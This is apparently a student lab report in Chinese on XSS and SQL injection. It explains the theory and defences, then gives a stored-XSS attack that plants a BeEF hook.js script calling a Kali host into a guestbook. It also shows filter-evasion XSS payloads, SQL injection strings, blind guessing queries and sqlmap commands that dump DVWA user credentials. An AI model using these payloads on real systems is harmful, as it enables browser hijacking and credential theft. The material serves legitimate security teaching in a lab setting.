实验三 XSS和SQL注入
实验目的:
- 了解什么是XSS;
- 了解XSS攻击实施,理解防御XSS攻击的方法;
- 了解SQL注入的基本原理;
- 掌握PHP脚本访问MySQL数据库的基本方法;
- 掌握程序设计中避免出现SQL注入漏洞的基本方法;
- 掌握网站配置。
系统环境:
Kali Linux 2、Windows Server
网络环境:
交换网络结构
实验工具:
Beef;AWVS(Acunetix Web Vulnarability Scanner);SqlMAP;DVWA
实验原理:
XSS
1、什么是XSS
XSS又叫CSS (Cross Site Script) 也称为跨站,它是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。
2 、什么是XSS攻击
XSS攻击是指入侵者在远程WEB页面的HTML代码中插入具有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行,由于HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码,例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失。如这句简单的Java脚本就能轻易获取用户信息:alert(document.cookie),它会弹出一个包含用户信息的消息框。入侵者运用脚本就能把用户信息发送到他们自己的记录页面中,稍做分析便获取了用户的敏感信息。
3、 什么是Cookie
Cookie,有时也用其复数形式Cookies,指某些网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据(通常经过加密)。定义于RFC2109(已废弃),最新取代的规范是RFC2965。Cookie最早是网景公司的前雇员Lou Montulli在1993年3月的发明。
Cookie是由服务器端生成,发送给User-Agent(一般是浏览器),浏览器会将Cookie的key/value保存到某个目录下的文本文件内,下次请求同一网站时就发送该Cookie给服务器(前提是浏览器设置为启用Cookie)。Cookie名称和值可以由服务器端开发自己定义,对于JSP而言也可以直接写入jsessionid,这样服务器可以知道该用户是否为合法用户以及是否需要重新登录等。
4、XSS漏洞的分类
存储型 XSS:交互形Web应用程序出现后,用户就可以将一些数据信息存储到Web服务器上,例如像网络硬盘系统就允许用户将自己计算机上的文件存储到网络服务器上,然后与网络上的其他用户一起分享自己的文件信息。这种接收用户信息的Web应用程序由于在使用上更加贴近用户需求,使用灵活,使得其成为现代化Web领域的主导。在这些方便人性化的背后也带来了难以避免的安全隐患。
如果有某个Web应用程序的功能是负责将用户提交的数据存储到数据库中,然后在需要时将这个用户提交的数据再从数据库中提取出返回到网页中,在这个过程中,如果用户提交的数据中包含一个XSS攻击语句,一旦Web应用程序准备将这个攻击语句作为用户数据返回到网页中,那么所有包含这个回显信息的网页将全部受到XSS漏洞的影响,也就是说只要一个用户访问了这些网页中的任何一个,他都会遭受到来自该Web应用程序的跨站攻击。Web应用程序过于相信用户的数据,将其作为一个合法信息保存在数据库中,这等于是将一个定时炸弹放进了程序的内部,只要时机一到,这颗定时炸弹就会爆炸。这种因为存储外部数据而引发的XSS漏洞称为Web应用程序的Stored XSS漏洞,即存储型XSS漏洞。
存储型XSS漏洞广泛出现在允许Web用户自定义显示信息及允许Web用户上传文件信息的Web应用程序中,大部分的Web应用程序都属于此类。有一些Web应用程序虽然也属于此类,但是由于该Web应用程序只接受单个管理员的用户数据,而管理员一般不会对自己的Web应用程序做什么破坏,所以这种Web应用程序也不会遭到存储型XSS漏洞的攻击。
DOM-Based XSS漏洞: DOM是Document Object Model(文档对象模型)的缩写。根据W3C DOM规范(http://www.w.org.DOM/),DOM是一种与浏览器、平台、语言无关的接口,使得网页开发者可以利用它来访问页面其他的标准组件。简单解释,DOM解决了Netscape的JavaScript和Microsoft的JScrtipt之间的冲突,给予Web设计师和开发者一个标准的方法,让他们来访问他们站点中的数据、脚本和表现层对象。
由于DOM有如此好的功能,大量的Web应用程序开发者在自己的程序中加入对DOM的支持,令人遗憾的是,Web应用程序开发者这种滥用DOM的做法使得Web应用程序的安全也大大降低,DOM-Based XSS正是在这样的环境下出现的漏洞。DOM-Based XSS漏洞与Stored XSS漏洞不同,因为他甚至不需要将XSS攻击语句存入到数据库中,直接在浏览器的地址栏中就可以让Web应用程序发生跨站行为。对于大多数的Web应用程序来说,这种类型的XSS漏洞是最容易被发现和利用的。
反射型XSS:仅对当次的页面访问产生影响。使得用户访问一个被攻击者篡改后的链接(包含恶意脚本),用户访问该链接时,被植入的攻击脚本被用户浏览器执行,从而达到攻击目的。
5、XSS的防御
5.1基于特征的防御
XSS漏洞利用了Web页面的编写不完善,所以每一个漏洞所利用和针对的弱点都不尽相同。这就给XSS漏洞防御带来了困难:不可能以单一特征来概括所有XSS攻击。
传统XSS防御多采用特征匹配方式,在所有提交的信息中都进行匹配检查。对于这种类型的XSS攻击,采用的模式匹配方法一般会需要对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击。这种检测方法的缺陷显而易见:黑客可以通过插入字符或完全编码的方式躲避检测。
(1) 在javascript中加入多个tab键,得到 IMG SRC="jav ascript:alert(‘XSS‘)" 。
(2) 在javascript中加入#x09编码字符,得到 IMG SRC="javascript:alert(‘XSS‘)" 。
(3) 在javascript中加入字符,得到 IMG SRC="javascript:alert(‘XSS‘)" 。
(4) 在javascript中的每个字符间加入回车换行符,得到 IMG SRC="j\r\na\r\nv\r\n\r\na\r\ns\r\nc\r\nr\r\ni\r\np\r\nt\r\n:alert(‘XSS‘)"。
(5) 对"javascript:alert(‘XSS‘)"采用完全编码,得到
IMGSRC=#x6A#x61#x76#x61#x73#x63#x72#x69#x70#x74#x3A#x61#x6C#x65#x72#x74#x28#x27#x58#x53#x53#x27#x29。
上述方法都可以很容易的躲避基于特征的检测。而除了会有大量的漏报外,基于特征的还存在大量的误报可能:在上面的例子中,对"http://www.target.com/javascript/kkk.asp?id=2345"这样一个URL,由于包含了关键字“javascript”,也将会触发报警。
基于代码修改的防御
还有一种方法就是从Web应用开发的角度来避免:
(1) 对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容来提交,对其他的一律过滤。
(2) 实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防被攻击 。
SQL注入攻击
1、什么是SQL注入攻击
所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。
2、为何会有SQL注入攻击
很多电子商务应用程序都使用数据库来存储信息。不论是产品信息,账目信息还是其它类型的数据,数据库都是Web应用环境中非常重要的环节。SQL命令就是前端Web和后端数据库之间的接口,使得数据可以传递到Web应用程序,也可以从其中发送出来。需要对这些数据进行控制,保证用户只能得到授权给他的信息。可是,很多Web站点都会利用用户输入的参数动态的生成SQL查询要求,攻击者通过在URL、表格域,或者其他的输入域中输入自己的SQL命令,以此改变查询属性,骗过应用程序,从而可以对数据库进行不受限的访问。
因为SQL查询经常用来进行验证、授权、订购、打印清单等,所以,允许攻击者任意提交SQL查询请求是非常危险的。通常,攻击者可以不经过授权,使用SQL输入从数据库中获取信息。
3. 何时使用SQL注入攻击
当Web应用向后端的数据库提交输入时,就可能遭到SQL注入攻击。可以将SQL命令人为的输入到URL、表格域,或者其他一些动态生成的SQL查询语句的输入参数中,完成上述攻击。因为大多数的Web应用程序都依赖于数据库的海量存储和相互间的逻辑关系(用户权限许可,设置等),所以,每次的查询中都会存在大量的参数。
4、MySQL简介
SQL是结构化查询语言的简称,它是全球通用的标准数据库查询语言,主要用于关系型数据的操作和管理,如增加记录,删除记录,更改记录,查询记录等,常用命令知识如表所示。
命令短语 |
功能 |
例句 |
select |
用于查询记录和赋值 |
select i,j,k from A (i,j,k是表A中仅有的列名) select i='1' (将i赋值为字符1) select* from A (含义同第一个例句) |
update |
用于修改记录 |
update A set i=2 where i=1 (修改A表中i=1的i值为2) |
insert |
用于添加记录 |
insert into A values(1, '2',3) (向A表中插入一条记录(i,j,k)对应为(1, '2',3)) |
delete |
用于删除记录 |
delete A where i=2 (删除A标中i=2的所有表项) |
from |
用于指定操作的对象名(表,视图,数据库等的名称) |
见 select |
where |
用于指定查询条件 |
select *from A,B where A.name=B.name and A.id=B.id |
and |
逻辑与 |
1=1 and 2<=2 |
or |
逻辑或 |
1=1 or 1>2 |
not |
逻辑非 |
not 1>1 |
= |
相等关系或赋值 |
见and、or、not |
>,>=,<,<= |
关系运算符 |
与相等关系('=')的用法一致。 |
单引号(“'”) |
用于指示字符串型数据 |
见select |
逗号 |
分割相同的项 |
见select |
* |
通配符所有 |
见select |
-- |
行注释 |
--这里的语句将不被执行! |
/* */ |
块注释 |
/* 这里的语句将不被执行! */ |
5、实施SQL注入攻击
5.1. 攻击一
任何输入,不论是Web页面中的表格域还是一条SQL查询语句中API的参数,都有可能遭受SQL注入的攻击。如果没有采取适当的防范措施,那么攻击只有可能在对数据库的设计和查询操作的结构了解不够充分时才有可能失败。
从SQL命令(更多的SQL命令见原理三)SELECT切入比较好。SELECT的使用格式如下:
SELECT datacolumn,otherdatacolumn FROM databasetable WHERE conditionismet
SQL在Web应用程序中的常见用途就是查询产品信息。应用程序通过CGI参数建立链接,在随后的查询中被引用。这些链接看起来通常像如下的样子:
http://www.flowershop.com/store/itemdetail.asp?id=896
应用程序需要知道用户希望得到哪种产品的信息,所以浏览器会发送一个标识符,通常称为id。随后,应用程序动态的将其包含到SQL查询请求中,以便于从数据库中找到正确的行。查询语句通常的形式如下:
SELECT name,picture,description,price FROM products WHERE id=896
但是,用户可以在浏览器中轻易的修改信息。设想一下,作为某个Web站点的合法用户,在登入这个站点的时候输入了账号ID和密码。下面的SQL查询语句将返回合法用户的信息:
SELECT accountdata FROM accountinfo WHERE accountid = 'account' AND password = 'passwd'
上面的SQL查询语句中唯一受用户控制的部分就是在单引号中的字符串。这些字符串就是用户在Web表格中输入的。Web应用程序自动生成了查询语句中的剩余部分。
常理来讲,其他用户在查看此账号信息时,他需要同时知道此账号ID和密码,但通过SQL输入的攻击者可以绕过全部的检查。
比如,当攻击者知道系统中存在一个叫做Tom的用户时,他会在SQL请求中使用注释符(双虚线--),然后将下面的内容输入到用户账号的表格域中。
Tom'--
这将会动态地生成如下的SQL查询语句:
SELECT accountdata FROM accountinfo WHERE accountid='Tom'--' AND password='passwd'
由于“--”符号表示注释,随后的内容都被忽略,那么实际的语句就是:
SELECT accountdata FROM accountinfo WHERE accountid = 'Tom'
没有输入Tom的密码,却从数据库中查到了Tom用户的全部信息!注意这里所使用的语法,作为用户,可以在用户名之后使用单引号。这个单引号也是SQL查询请求的一部分,这就意味着,可以改变提交到数据库的查询语句结构。
在上面的案例中,查询操作本来应该在确保用户名和密码都正确的情况下才能进行的,而输入的注释符将一个查询条件移除了,这严重的危及到了查询操作的安全性。允许用户通过这种方式修改Web应用中的代码,是非常危险的。
5.2 攻击二
一般的应用程序对数据库进行的操作都是通过SQL语句进行,如查询一个表(A)中的一个num=8的用户的所有信息,我们通过下面的语句来进行:
select* from A where num=8
对应页面地址可能有http://127.0.0.1/list.jsp?num=8。
一个复合条件的查询:
select* from A where id=8 and name='k'
对应页面地址可能有http://127.0.0.1/aaa.jsp?id=8&name=k。
通常数据库应用程序中where子句后面的条件部分都是在程序中按需要动态创建的,如下面使用的方法:
String N=request.getParameter("id"); //获得请求参数id的字符串值
String K=request.getParameter("name");//获得请求参数name的字符串值
String str="select* from A where id="+N+" and name=\'"+K+"\'";//执行数据库操作
当N,K从前台获得的数据中存在像“'”,“and 1=1”,“or 1=1”,“--”就会出现具有特殊意义的SQL语句,当上面http://127.0.0.1/aaa.jsp?id=8&name=k中的“id=8 --”时,在页面地址中可能会有如下的表示:
http://127.0.0.1/list.jsp?n=8 --
上面的str变成了:
select* from A where id=8 -- and name='k'
熟悉SQL Server 的人一定明白上面语句的意义,很明显,--后面的条件and name='k'不会被执行,因为它被“--”注释掉了。
当上面的K="XXX\'or 1=1"时(“\'”是“'”在字符串中的转义字符),在页面地址中会有如下的表示:
http://127.0.0.1/list.jsp?name=XXX’or 1=1
同样上面的语句变成了:
select *from A where id=8 and name='XXX' or 1=1.
这条语句会导致查询到所有用户的信息而不需要使用正确的id和name属性,虽然结果不会在页面上直接得到,但可以通过数据库的一些辅助函数间接猜解得到,下面猜解的例子能够说明SQL注入漏洞的危害性:
在SQL Server 2000中有user变量,用于存储当前登录的用户名,因此可以利用猜解它来获得当前数据库用户名,从而确定当前数据库的操作权限是否为最高用户权限,在一个可以注入的页面请求地址后面加上下面的语句,通过修改数值范围,截取字符的位置,并重复尝试,就可以猜解出当前数据库连接的用户名:
and (SubString(user,1,1)> 65 and SubString(user,1,1)<90)
如果正常返回,则说明当前数据库操作用户帐户名的前一个字符在A~Z的范围内,逐步缩小猜解范围,就可以确定猜解内容。SubString()是SQL Server 2000 数据库中提供的系统函数,用于获取字符字符串的子串。65,和90分别是字母A和Z的ascii码。
再有,在数据库中查找用户表(需要一定的数据库操作权限),可以使用下面的复合语句:
and (select count(*) from sysobjects where xtype='u')>n
n取1,2,……,通过上面形式的语句可以判断数据库中有多少用户表。
可以通过and(substring((select top 1 name from sysobjects where xtype ='u'),1,1)=字符)的形式逐步猜解出表名。
利用构建的SQL注入短语,可以查询出数据库中的大部分信息,只要构建的短语能够欺骗被注入程序按你的意图执行,并能够正确分析程序返回的现象,注入攻击者就可以控制整个系统。
基于网页地址的SQL注入只是利用了页面地址携带参数这一性质,来构建特殊sql语句以实现对Web应用程序的恶意操作(查询,修改,添加等)。事实上SQL注入不一定要只针对浏览器地址栏中的url。任何一个数据库应用程序对前台传入数据的处理不当都会产生SQL注入漏洞,如一个网页表单的输入项,应用程序中文本框输的入信息等。
6、防范SQL注入方法汇总
Web开发人员认为SQL查询请求是可以信赖的操作,但事实却是恰恰相反的,他们没有考虑到用户可以控制这些查询请求的参数,并且可以在其中输入符合语法的SQL命令。
解决SQL注入问题的方法再次归于对特殊字符的过滤,包括URL、表格域以及用户可以控制的任何输入数据。与SQL语法相关的特殊字符以及保留字应当在查询请求提交到数据库之前进行过滤或者被去除(例如跟在反斜号后面的单引号)。过滤操作最好在服务器端进行。将过滤操作的代码插入到客户机端执行的HTML中,实在是不明智的,因为攻击者可以修改验证程序。防止破坏的唯一途径就是在服务器端执行过滤操作。避免这种攻击更加可靠的方式就是使用存储过程。具体可以通过以下若干方法来防范SQL注入攻击。
(1) 对前台传入参数按的数据类型,进行严格匹配(如查看描述数据类型的变量字符串中,是否存在字母)。
(2) 对于单一变量(如上面的K,N)如果有必要,过滤或替换掉输入数据中的空格。
(3) 将一个单引号(“'”),替换成两个连续的单引号(“''”)。
(4) 限制输入数据的有效字符种类,排除对数据库操作有特殊意义的字符(如“--”)。
(5) 限制表单或查询字符串输入的长度。
(6) 用存储过程来执行所有的查询。
(7) 检查提取数据的查询所返回的记录数量。如果程序只要求返回一个记录,但实际返回的记录却超过一行,那就当作出错处理。
(8) 将用户登录名称、密码等数据加密保存。加密用户输入的数据,然后再将它与数据库中保存的数据比较,这相当于对用户输入的数据进行了“消毒”处理,用户输入的数据不再对数据库有任何特殊的意义,从而也就防止了攻击者注入 SQL命令。
总而言之,就是要尽可能地限制用户可以存取的数据总数。另外,对用户要按“最小特权”安全原则分配权限,即使发生了SQL注入攻击,结果也被限制在那些可以被正常访问到的数据中。
实验步骤
XSS部分:利用Beef劫持被攻击者客户端浏览器
实验环境搭建。
角色:留言簿网站。存在XSS漏洞;(IIS或Apache、guestbook搭建)
攻击者:
Kali(使用beEF生成恶意代码,并通过留言方式提交到留言簿网站);
被攻击者:
访问留言簿网站,浏览器被劫持。
1、利用AWVS扫描留言簿网站,发现其存在XSS漏洞,截图。
erro.asp和add.asp可能存在Cross site scriping 即XSS漏洞
2、 Kali使用beef生成恶意代码
生成的恶意代码的Example : <script src="http://127.0.0.1:3000/hook.js"></script>
3、访问http://留言簿网站/message.asp;将以下恶意代码写入网站留言板,
<script src="http://Kali的IP地址:3000/hook.js"></script>,截图。
留下留言 <script src="http://192.168.43.178:3000/hook.js"></script>
4、管理员登录login.htm,账号密码均为admin,审核用户留言。只要客户端访问这个服务器的留言板,客户端浏览器就会被劫持,指定被劫持网站为学校主页,将你在beff中的配置截图。
看到了刚刚的留言
设置beef中的配置
成功转到了学校的页面
5、回答问题:实验中XSS攻击属于哪种类型?
存储型 XSS。
如果有某个Web应用程序的功能是负责将用户提交的数据存储到数据库中,然后在需要时将这个用户提交的数据再从数据库中提取出返回到网页中,在这个过程中,如果用户提交的数据中包含一个XSS攻击语句,一旦Web应用程序准备将这个攻击语句作为用户数据返回到网页中,那么所有包含这个回显信息的网页将全部受到XSS漏洞的影响,也就是说只要一个用户访问了这些网页中的任何一个,他都会遭受到来自该Web应用程序的跨站攻击。
SQL注入部分:DVWA+SQLmap+Mysql注入实战
实验环境搭建:
启动Metasploitable2虚拟机。
1、注入点发现。首先肯定是要判断是否有注入漏洞。
在输入框输入1,返回
ID: 1 First name: admin Surname: admin (返回正常)
再次输入1',报错,返回
“ You have an error in your SQL syntax; check the manual that corresponds
to your MariaDB server version for the right syntax to use near ''1''' at line 1 ”
此时可以断定有SQL注入漏洞
2、枚举当前使用的数据库名称和用户名。
Sqlmap输出截图
获取到7个数据库
5、枚举数据库和指定数据库的数据表
输入的命令:
sqlmap -u“注入点的URL”--cookie=‘获取到cookie的值’--string="Surname" -D dvwa –tables
Sqlmap输出截图
6、获取指定数据库和表中所有列的信息
输入的命令:
sqlmap -u“注入点URL”--cookie=‘cookie值’--string="Surname" -D dvwa -T users –columns
Sqlmap输出截图
7、枚举指定数据表中的所有用户名与密码,并down到本地。
输入的命令:
sqlmap -u“注入点URL”--cookie=‘cookie值’--string="Surname" -D dvwa -T users -C user,password --dump
Sqlmap输出截图
得到Sqlmap输出截图
找到对应的文件,成功发现了指定数据表中的所有用户名与密码
实验小结:
(1)本次实验的收获是巨大的,了解了网站相关的漏洞,并复现了一些漏洞。提高了对网站的熟悉度。两个实验在复现过程中还是非常有趣的,因为它可以获得一些网站的权限,或者是获取网站的数据库信息,或者是劫持用户的浏览器。本次实验提高了对安全方面相关技术的兴趣。
(2)本次实验了解了什么是XSS;了解了XSS攻击实施,理解了防御XSS的一些方法。XSS攻击还是非常危险的,一旦有没有严加审核用户留在网站的信息,而网站又存在XSS漏洞,就容易遭到XSS攻击。遭到XSS的攻击,无疑是恐怖的,因为我们不知道攻击者会将我们送到哪一个网站。
(3)本次实验还了解了什么是SQL注入;了解了SQL注入的基本原理;掌握了PHP脚本访问MySQL数据库的基本方法;对数据库的相关语句有了一定的了解,对数据库的作用有了充分的了解。和XSS一样,如果遭受到SQL注入攻击,那么同样是恐怖的,因为这样攻击者很可能将我们所储存的用户信息等其他的一切重要信息窃取,给我们造成巨大的损失。
(4)本次实验还了解了一些工具的使用,比如beef和sqlmap,还学会了怎样搭建一个网站,等很多知识。